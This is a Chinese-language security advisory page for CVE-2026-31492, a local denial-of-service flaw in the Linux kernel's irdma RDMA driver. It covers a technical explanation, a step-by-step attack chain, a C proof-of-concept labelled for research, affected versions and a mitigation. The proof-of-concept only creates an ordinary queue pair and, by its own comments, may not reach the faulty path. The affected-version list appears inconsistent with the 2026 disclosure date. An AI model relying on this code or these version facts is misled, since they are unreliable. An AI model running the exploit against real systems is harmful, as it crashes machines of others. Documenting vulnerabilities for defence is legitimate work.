IPBUF安全漏洞报告
English
CVE-2026-31492 CVSS 5.5 中危

CVE-2026-31492: Linux内核RDMA驱动初始化错误致崩溃

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31492
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelRDMADoSirdmaLocal VulnerabilityKernel Panic

漏洞概述

Linux内核的RDMA/irdma驱动程序中存在一处因初始化顺序错误导致的漏洞。在创建队列对(QP)时,若向用户空间复制数据的操作失败,将触发资源清理逻辑。由于清理函数试图等待一个尚未初始化的完成量,导致内核发生空指针解引用。本地低权限攻击者可利用此缺陷引发系统崩溃,造成拒绝服务。

技术细节

该漏洞技术根源在于Linux内核irdma驱动中资源初始化与错误处理的逻辑顺序错误。具体来说,在`irdma_create_qp`函数执行期间,代码首先尝试通过`ib_copy_to_udata`将QP相关信息复制到用户空间。如果该操作失败,例如用户提供的缓冲区无效,程序将跳转到错误处理路径,调用`irdma_destroy_qp`来释放已分配的资源。问题的关键在于,`irdma_destroy_qp`内部调用了`wait_for_completion(&qp->free_qp)`以等待资源释放完成,但`init_completion(&qp->free_qp)`初始化操作却被错误地安排在`ib_copy_to_udata`调用之后。这意味着当复制操作失败时,销毁流程试图访问并等待一个尚未初始化的完成量结构。这种未初始化的访问会导致内核空指针解引用或死锁,进而触发Kernel Panic,使系统崩溃。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统的低权限用户访问权限。
STEP 2
步骤2
攻击者识别系统上加载了存在漏洞的irdma RDMA驱动程序。
STEP 3
步骤3
攻击者运行恶意程序,调用RDMA接口创建队列对(QP),并构造特定的输入数据导致`ib_copy_to_udata`操作失败。
STEP 4
步骤4
内核执行错误处理路径,调用`irdma_destroy_qp`,该函数试图等待未初始化的`free_qp`完成量。
STEP 5
步骤5
内核发生空指针解引用或死锁,触发系统崩溃(Kernel Panic),导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31492: Linux Kernel RDMA/irdma Initialization DoS * Reference: https://git.kernel.org/stable/c/11a95521fb93c91e2d4ef9d53dc80ef0a755549b * * Description: * This code attempts to trigger the vulnerability by calling ibv_create_qp. * If the underlying IRDMA driver hits the failure path in ib_copy_to_udata, * it will call irdma_destroy_qp which waits on an uninitialized completion, * leading to a kernel panic or deadlock. * * Compile: gcc -o poc_irdma poc_irdma.c -libverbs */ #include <stdio.h> #include <stdlib.h> #include <infiniband/verbs.h> #include <unistd.h> int main() { struct ibv_device **dev_list; struct ibv_context *ctx; struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_qp *qp; struct ibv_qp_init_attr qp_init_attr; int num_devices; // 1. Get the list of RDMA devices dev_list = ibv_get_device_list(&num_devices); if (!dev_list || num_devices <= 0) { perror("Failed to get RDMA devices"); return 1; } // 2. Open the first device ctx = ibv_open_device(dev_list[0]); if (!ctx) { perror("Failed to open device"); ibv_free_device_list(dev_list); return 1; } // 3. Allocate Protection Domain pd = ibv_alloc_pd(ctx); if (!pd) { perror("Failed to allocate PD"); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 1; } // 4. Create Completion Queue cq = ibv_create_cq(ctx, 10, NULL, NULL, 0); if (!cq) { perror("Failed to create CQ"); ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 1; } // 5. Prepare QP attributes to trigger the path memset(&qp_init_attr, 0, sizeof(qp_init_attr)); qp_init_attr.send_cq = cq; qp_init_attr.recv_cq = cq; qp_init_attr.qp_type = IBV_QPT_RC; qp_init_attr.cap.max_send_wr = 1; qp_init_attr.cap.max_recv_wr = 1; qp_init_attr.cap.max_send_sge = 1; qp_init_attr.cap.max_recv_sge = 1; // 6. Attempt to create QP // The bug is triggered if the copy_to_udata fails inside the kernel. // While standard userspace APIs validate input, specific kernel versions // or driver states might allow hitting the uninitialized completion wait. printf("Attempting to create QP to trigger potential crash...\n"); qp = ibv_create_qp(pd, &qp_init_attr); if (!qp) { // If the kernel bug is triggered, the system may panic here or hang printf("QP creation failed (or kernel panicked).\n"); } else { printf("QP created successfully. System likely patched or conditions not met.\n"); ibv_destroy_qp(qp); } // Cleanup (if we reach here) ibv_destroy_cq(cq); ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 0; }

影响范围

Linux Kernel < 6.1.83
Linux Kernel < 6.6.23
Linux Kernel < 6.7.11
Linux Kernel < 6.8.2

防御指南

临时缓解措施
如果无法立即升级内核,建议限制非特权用户对RDMA设备(/dev/infiniband/相关设备)的访问权限,或者在不使用RDMA功能的情况下通过modprobe禁用irdma驱动模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表